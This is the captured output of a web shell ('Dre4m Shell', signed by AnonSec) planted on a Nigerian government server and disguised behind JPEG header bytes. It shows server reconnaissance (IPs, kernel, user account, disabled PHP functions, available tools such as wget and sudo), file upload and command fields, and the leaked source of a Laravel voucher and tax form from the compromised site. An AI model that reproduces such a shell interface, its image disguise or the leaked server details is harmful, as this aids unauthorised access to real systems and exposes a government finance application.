ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.23.102.31
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/6d71932a0211eb5094a941cb497a7b2d2fd38739.php
<?php $__env->startSection('pageTitle'); ?>
	<?php echo e(strtoupper(' Create A Contract/Individual Voucher')); ?>

<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
<form method="post" action="<?php echo e(url('/CR/voucher/contract/create')); ?>">
	<?php echo e(csrf_field()); ?>

<div>
	<div class="box-body hidden-print">
		<div class="row">
			<div class="col-sm-12">
				<?php if(count($errors) > 0): ?>
				<div class="alert alert-danger alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Error!</strong> 
					<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					<p><?php echo e($error); ?></p>
					<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
				</div>
				<?php endif; ?>

				<?php if(session('msg')): ?>
				<div class="alert alert-success alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Success!</strong> 
					<?php echo e(session('msg')); ?>

				</div>                        
				<?php endif; ?>

				<?php if(session('err')): ?>
				<div class="alert alert-warning alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Input Error !</strong> 
					<?php echo e(session('err')); ?>

				</div>                        
				<?php endif; ?>
			</div>
		</div><!-- /row -->
	</div><!-- /div -->

    <div class="box-body" style="background: #FFF;">
		<div align="center">
		     <?php echo $__env->make('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>' CREATE STAFF VOUCHER ', 'title2'=>date('d-l, F, Y'), 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>1, 'hideLogos'=>1, 'hideAddress'=>0], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
		</div>
		

		<div class="box-body">
				<div align="right" class="col-sm-3 pull-right hidden-print" style="float: right; margin-top: -8px;">
					<select name="economicCode" id="economicCode" class="form-control" autofocus required style="border: none;">
					    <option value="" selected="selected">...........................</option>
					    <?php $__empty_1 = true; $__currentLoopData = $subdescriptions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $subCode): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
						<option  value="<?php echo e($subCode->economicID); ?>" <?php echo e((old("economicCode") == $subCode->economicID? "selected":"")); ?>> 
							<?php echo e($subCode->economicCode . ' - ' .$subCode->description); ?>

						</option>
					   <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
					   <?php endif; ?>
					</select>
				</div>
				<div style="float: right;"><b>ECONOMIC CODE:</b></div>
				<br />
			</div>
				 
                <div class="col-md-4 pull-right">
	  				<input type="text" name="totalamount" id="totalAmount" class="form-control" placeholder="Enter Total Amount (Optional)" value="<?php echo e(old('totalamount')); ?>">
	  			</div>
	  			<div style="float: right;" class="text-warning"><small>Are you making Part Payment?<br>Enter Sum Total Amount(Optional)</small></div>
	  			
	  			<br /><br /><br />
				
	  			<div align="left" class="col-md-2" >  
					<a href="<?php echo e(url('/voucher/check')); ?>" class="btn btn-info btn-sm"><i class="fa fa-arrow-left"></i>  Go back to all Vouchers</a>
				</div>
		

		<div align="center">
			<h3><b style="text-decoration: underline;">OVERHEAD JOURNAL</b></h3>
		</div>
		
			
		<?php echo $__env->make('nicnModuleViews.layouts.commonFields', ['textTitle'=>'Contract Description', 'dateCaption'=>'Contract Award Date'], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
		
		<div class="row">
			<div class="col-md-12">

				<table class="table table-striped table-condensed">
					<thead style="background: #fdfdfd;">
						<tr class="input-lg">
				        	<th width="100" rowspan="2" class="text-center">DATE</th>
				        	<th width="600" rowspan="2" class="text-center">DESCRIPTION</th><!--BENEFICIARY-->
				        	<th width="200" class="text-center">DR. </th>
				        	<th width="200" class="text-center">CR. </th>
				        </tr>
				        <tr class="input-lg">
				        	<th width="140" class="text-center"> &#8358; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>k</b></th>
				        	<th width="140" class="text-center"> &#8358; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>k</b> </th>
				        </tr>
			        </thead>
			        <tbody>
			             
	          			<tr class="input-lg">
	  						<th><span class="hidden-print"><?php echo e(date('d/m/Y')); ?></span></th>
	  						<th>
	  							<div class="row">
					        		<div class="col-sm-8">
					        			<input type="text" value="<?php echo e(old('beneficiaryName')); ?>" name="beneficiaryName" autocomplete="off" onkeydown="return false;" id="beneficiaryName" class="form-control hidden-print" style="border:1px solid #333;" placeholder="Beneficiary Name" required>
					        		</div>
					        		
					        		<input type="hidden" name="designation" id="designation" class="form-control hidden-print" style="border:1px solid #333;" placeholder="Designation">
					        		
					        		<div class="col-sm-4">
					        		     <select name="companyGetLookUp" id="companyGetLookUp" class="form-control hidden-print input-sm" style="border: none;">
    									    <option value="" selected="selected">Look Up</option>
    									    <?php $__empty_1 = true; $__currentLoopData = $companyDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $benef): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
    										    <option value="<?php echo e($benef->id .'-'. $benef->contractor .'-'. $benef->address); ?>"><?php echo e($benef->contractor); ?></option>
    									    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
    									    <?php endif; ?>
								        </select>
								      <input type="hidden" name="contractorID" value="<?php echo e(old('contractorID')); ?>" id="contractorID" />
									</div>
									<br /><br />
									<div class="col-sm-12">
										<input type="text" id="beneficiaryAddress" value="<?php echo e(old('beneficiaryAddress')); ?>" autocomplete="off" name="beneficiaryAddress"  onkeydown="return false;" class="form-control" placeholder="Beneficiary Address (If beneficiary cannot be found from Look-up)">
									</div>
									
								</div>
	  						</th>
	  						<th>
	  							<span class="hidden-print">
	  								<input type="text" name="amount" id="netAmount" required class="form-control" placeholder="Gross Amount" value="<?php echo e(old('amount')); ?>" required>
	  								<span id="errmsg" class="text-danger"></span>
	  							</span>
	  						</th>
	  						<th></th>
				        </tr>
				        <tr class="input-lg">
	  						<th class="text-center"><span class="hidden-print">&#10004;</span></th>
	  						<th>
	  							<span class="hidden-print">
		  							<select name="vatselect" id="vatselect" class="form-control hidden-print " style="border: none; width: 15%; float: left;">
    									<option value="5" <?php echo e(old('vatselect') == 5 ? 'selected' : ''); ?>>5%</option>
    									<option value="0" <?php echo e(old('vatselect') == 0 ? 'selected' : ''); ?>>0</option>
								   </select> &nbsp; VAT Payable &#60; Cash Book &#62;  
								   </span> 
							</th>

	  						<!-- <span class="hidden-print">5% VAT Payable &#60; Cash Book &#62; </span></th>-->
	  						<th></th>
	  						<th><span class="hidden-print">
	  							<input type="text" id="vat" name="vat" value="<?php echo e(old('vat')); ?>" readonly class="form-control" style="border: none; background: white">
	  							</span>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th class="text-center"><span class="hidden-print">&#10004;</span></th>
	  						<th> <span class="hidden-print"> 
	  						<select name="whtOrTax" id="WithholdingTax" class="form-control hidden-print " style="border: none; width: 15%; float: left;">
								<option value="0" <?php echo e(old('whtOrTax') == 0 ? 'selected' : ''); ?>>0</option>
								<option value="1" <?php echo e(old('whtOrTax') == 1 ? 'selected' : ''); ?>>1%</option>
								<option value="2" <?php echo e(old('whtOrTax') == 2 ? 'selected' : ''); ?>>2%</option>
								<option value="3" <?php echo e(old('whtOrTax') == 3 ? 'selected' : ''); ?>>3%</option>
								<option value="4" <?php echo e(old('whtOrTax') == 4 ? 'selected' : ''); ?>>4%</option>
								<option value="5" <?php echo e(old('whtOrTax') == 5 ? 'selected' : ''); ?>>5%</option>
								<option value="10" <?php echo e(old('whtOrTax') == 10 ? 'selected' : ''); ?>>10%</option>
								<option value="15" <?php echo e(old('whtOrTax') == 15 ? 'selected' : ''); ?>>15%</option>
								<option value="20" <?php echo e(old('whtOrTax') == 20 ? 'selected' : ''); ?>>20%</option>
							</select> &nbsp; Withholding Tax Payable &#60; Cash Book &#62; </span> </th>
	  						<th></th>
	  						<th><span class="hidden-print">
	  								<input type="text" id="tax" name="tax" value="<?php echo e(old('tax')); ?>"  readonly class="form-control" style="border: none; background: #f9f9f9">
	  							</span>
	  						</th>
				        </tr>
				        <tr class="input-lg">
	  						<th class="text-center"><span class="hidden-print">&#10004;</span></th>
	  						<th><span class="hidden-print">Amount Payable to individual/contractor &#60; Cash Book &#62; </span> </th>
	  						<th></th> 
	  						<th><div class="hidden-print" id="grossAmount" value="<?php echo e(old('grossAmount')); ?>" style="border-bottom: 1px solid #000;"></div></th>
				        </tr>
				        <tr class="input-lg">
	  						<th></th>
	  						<th></th>
	  						<th></th>
	  						<th><span class="hidden-print" id="totalTaxVat"></span></th>
				        </tr>
			        </tbody>
				</table>


			<table class="table table-striped table-condensed">
				<thead style="background: #fff;">
					<tr class="input-lg">
				        <td><h4>Voucher Type:</h4></td>
				        <th>
				        	<div class="row">
				        		<div class="col-md-6">
				        			<small>Contract/Non Contract Voucher</small>
						        	<select name="voucherType" class="form-control">
						        		<option value="Contract" <?php echo e(old('voucherType') == 'Contract' ? 'selected' : ''); ?>>Yes. I want to generate Contract Voucher</option>
						        		<option value="Other Voucher" <?php echo e(old('voucherType') == 'Other Voucher' ? 'selected' : ''); ?>>No. I want to generate other Voucher</option>
						        	</select>
						        </div>
						        <div class="col-md-6">
						        		<small>Adjustment/Normal Voucher </small>
						        		<select name="adjustmentVoucher" class="form-control">
							        		<option value="0" <?php echo e(old('adjustmentVoucher') == 0 ? 'selected' : ''); ?>>Yes. Normal Voucher</option>
							        		<option value="1" <?php echo e(old('adjustmentVoucher') == 1 ? 'selected' : ''); ?>>Yes. Adjustment Voucher</option>
						        		</select>
						        </div>
				        	</div>
				        </th>
				    </tr>
					<tr class="input-lg">
				        <td valign="top" width="100"><h4>Narration:</h4></td>
				        <th width="600">
				        	<textarea name="narration" class="form-control input-lg hidden-print" style="border: 1px thin #f9f9f9; height: 100px;" required>Vide Invoice and approval  minutes for payment attached for details.<?php echo e(old('narration')); ?></textarea>
				        </th>
				    </tr>
				    <tr>
				    	<td valign="top" width="100"><h4>File No. / Refers:</h4></td>
				    	<td>
				    		<div class="row">
				    		   <div class="col-md-5">
				    		   	<span class="hidden-print">
		  					  <input type="text" name="fileRefer" value="<?php echo e(old('fileRefer')); ?>" list="fileRefer" class="form-control hidden-print" required placeholder="Double click to select"/>
							  <datalist id="fileRefer">
								<option value="" selected="selected">Select Refer No.</option>
								<?php $__currentLoopData = $fileRefer; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $referNo): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
									<option value="<?php echo e($referNo->filerefer); ?>"><?php echo e($referNo->officegroup.' - '.$referNo->office.' - '.$referNo->filerefer); ?></option>
								<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
							  </datalist>
							</span> 
				    		   </div>
				    		   <div align="right" class="col-md-2">
				    		   	Date Created: 
				    		   </div>
				    		   <div class="col-md-5">
				    		   	<input type="text" name="todayDate" id="todayDate" value="<?php echo e(old('todayDate')); ?>"class="form-control col-lg-4" onkeydown="return false;" required placeholder="Select Date">
				    		   </div>
				    		</div>
				    	
				    	</td>
				    </tr>
				  
				    <tr class="input-lg hidden-print">
				        <th valign="center" width="100"><h4>VAT Payee: </h4></th>
				        <th>
				        	<div class="row">
				        	<div class="col-sm-6">
				        	<!--<input type="text" disable name="" class="form-control" style="border: 1px thin #f9f9f9;" value="Federal Inland Revenue Service (VAT)" placeholder="Name of Payee">-->
				        	<select name="vatPayee" id="getVatID" class="form-control">
				        		<option value="0">No VAT For This Voucher</option>
				        		<option value="">Select</option>
				        		<?php $__currentLoopData = $allVatWhtDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $listVatWht): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
				        		    <option value="<?php echo e($listVatWht->ID); ?>" <?php echo e(($listVatWht->payee == 'Federal Inland Revenue Service(VAT)' ? 'selected' : '')); ?>><?php echo e($listVatWht->payee); ?> - [<?php echo e($listVatWht->address); ?>] </option>
				        		<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
				        	</select>
				        	</div>
				        	<div class="col-sm-6">
				        		<input type="text" id="vatPayeeAddress" name="vatPayeeAddress" value="Abuja" class="form-control" style="border: 1px thin #f9f9f9;" >
				        	</div>
				        	</div>
				        </th>
				    </tr>

				    <tr class="input-lg hidden-print">
				        <th valign="center" width="100"><h4>WHT Payee: </h4></th>
				        <th>
				        	<div class="row">
						        <div class="col-sm-6">
						        <!--<input type="text" disable name="" class="form-control" style="border: 1px thin #f9f9f9;" value="<?php echo e(old('whtPayee')); ?>">-->
						        <select id="getWhtID" name="whtPayee" class="form-control">
					        		<option value="0" selected>No TAX For This Voucher</option>
					        		<option value="">Select</option>
					        		<?php $__currentLoopData = $allVatWhtDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $listVatWht2): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
					        			<option value="<?php echo e($listVatWht2->ID); ?>" <?php echo e(($listVatWht2->ID == old('getWhtID') ? 'selected' : '')); ?>> <?php echo e($listVatWht2->payee); ?> - [<?php echo e($listVatWht2->address); ?>]</option>
					        		<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
				        		 </select>
						        </div>
						        <div class="col-sm-6">
						        	<input type="text" id="whtPayeeAddress" value="<?php echo e(old('whtPayeeAddress')); ?>" name="whtPayeeAddress" class="form-control" style="border: 1px thin #f9f9f9;">
						        </div>
					        </div>
				        </th>
				    </tr>
			    </thead>
			</table>

			</div>
		</div><!-- /.col -->
	</div><!-- /.row -->
	<div align="center" class="hidden-print">
		<button type="submit" class="btn btn-success"> Save Journal &amp; Generate Voucher <i class="fa fa-book"></i> </button>
	</div>
	<br />
</div>
</form>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
  <script type="text/javascript">

  	///////////////////////DATE///////////////////////////////// 
	$( function(){
	    $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
	    $("#awardDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
	  });
	///////////////////////DATE/////////////////

  	//$('#netAmount').focus(); 

  	$('#companyGetLookUp').change( function() 
	{
		var result = ($('#companyGetLookUp').val()).split('-');
		$('#contractorID').val(result[0]); 
		$('#beneficiaryName').val(result[1]);
		$('#beneficiaryAddress').val(result[2]);
		$('#beneficiaryName').prop('readonly', true);
		$('#beneficiaryAddress').prop('readonly', true);
		if(result[0] == '' || result[0] < 1){
			$('#beneficiaryName').prop('readonly', false);
			$('#beneficiaryAddress').prop('readonly', false);
		}	
	});

	$('#netAmount').on("input keyup blur", function (event) //"input", function() 
	{
		// prevent special characters and letter
     	$(this).val($(this).val().replace(/[^0-9\.]/g,''));
        if ((event.which != 46 || $(this).val().indexOf('.') != -1) && (event.which < 48 || event.which > 57)) {
            //$("#errmsg").html("Digits Only").show().fadeOut("slow");
            event.preventDefault();
        }

        // Calculate WHT/TAX and VAT 
		var amount = this.value;
		var vat = $('#vatselect').val();
		$('#tax').val('');
		$('#vat').val('');
		var vat = parseFloat((vat/100) * amount).toFixed(2);
	    $("#vat").val(vat).css("font-weight","bold");
	});

	$('#WithholdingTax').change( function() 
	{ 
		var whtOrTax = this.value;
		var amount = $('#netAmount').val();
		var vat = $('#vatselect').val();
	
		if(amount == "" || amount < 1)
		{
			var amount = $('#netAmount').val('');
			var amount = $('#netAmount').focus();
			return false;
		}
		if(whtOrTax == 0){
			$("#totalTaxVat").html( parseFloat(amount).toFixed(2) ).css("font-weight","bold");
			$("#tax").val('');
	    	$("#grossAmount").html('');
	    	$('#vat').val('');
		}
		if(whtOrTax < 0)
		{	
			alert('Please Enter a Valid WHT!');
			var amount = $('#WithholdingTax').val('');
			var amount = $('#WithholdingTax').focus();
			return false;
		}

    	var whtTax    = parseFloat((whtOrTax/100) * amount).toFixed(2);
    	
    	if(whtOrTax == 0){
    		var vat = parseFloat(0).toFixed(2);
    	}else{
    		var vat = parseFloat((vat/100) * amount).toFixed(2);
    	}
    	var grossAmount = parseFloat(amount); 
    	var balance     = parseFloat(grossAmount - whtTax).toFixed(2);
    	$("#vat").val(vat).css("font-weight","bold");
	    $("#tax").val(whtTax).css("font-weight","bold");
	    $("#grossAmount").html(balance).css("font-weight","bold");
	    $("#totalTaxVat").html( parseFloat(parseFloat(whtTax) + parseFloat(vat) + parseFloat(balance)).toFixed(2) + (' VAT Inc.') ).css("font-weight","bold");
	});

	$('#vatselect').change( function() 
	{ 
		var vat = this.value;
		var amount = $('#netAmount').val();
	
		if(amount == "" || amount < 1)
		{
			alert('Please Enter a Valid Amount (VAT Inclusive)!');
			var amount = $('#netAmount').val('');
			var amount = $('#netAmount').focus();
			return false;
		}
		if(vat == 0){
    		var vat = parseFloat(0).toFixed(2);
    	}else{
    		var vat = parseFloat((vat/100) * amount).toFixed(2);
    	}
		$("#vat").val(vat).css("font-weight","bold");
	});
	
	//
	$('#getVatID').change( function() 
	{ 
		var vatID = $('#getVatID').val();
		 $.ajax({
		    url: '<?php echo e(url("/")); ?>' + '/vat/address/' + vatID,
		    type: 'get',
		    //dataType: 'JSON',
		    success: function (data) { 
		        $('#vatPayeeAddress').val(data);
		    }
		});
	});
	//
	$('#getWhtID').change( function() 
	{ 
		var whtID = $('#getWhtID').val();
		 $.ajax({
		    url: '<?php echo e(url("/")); ?>' + '/wht/address/' + whtID,
		    type: 'get',
		    //dataType: 'JSON',
		    success: function (data) { 
		        $('#whtPayeeAddress').val(data);
		    }
		});
	});
	
	

  </script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/nicnModuleViews/capitalRecurrent/journal.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team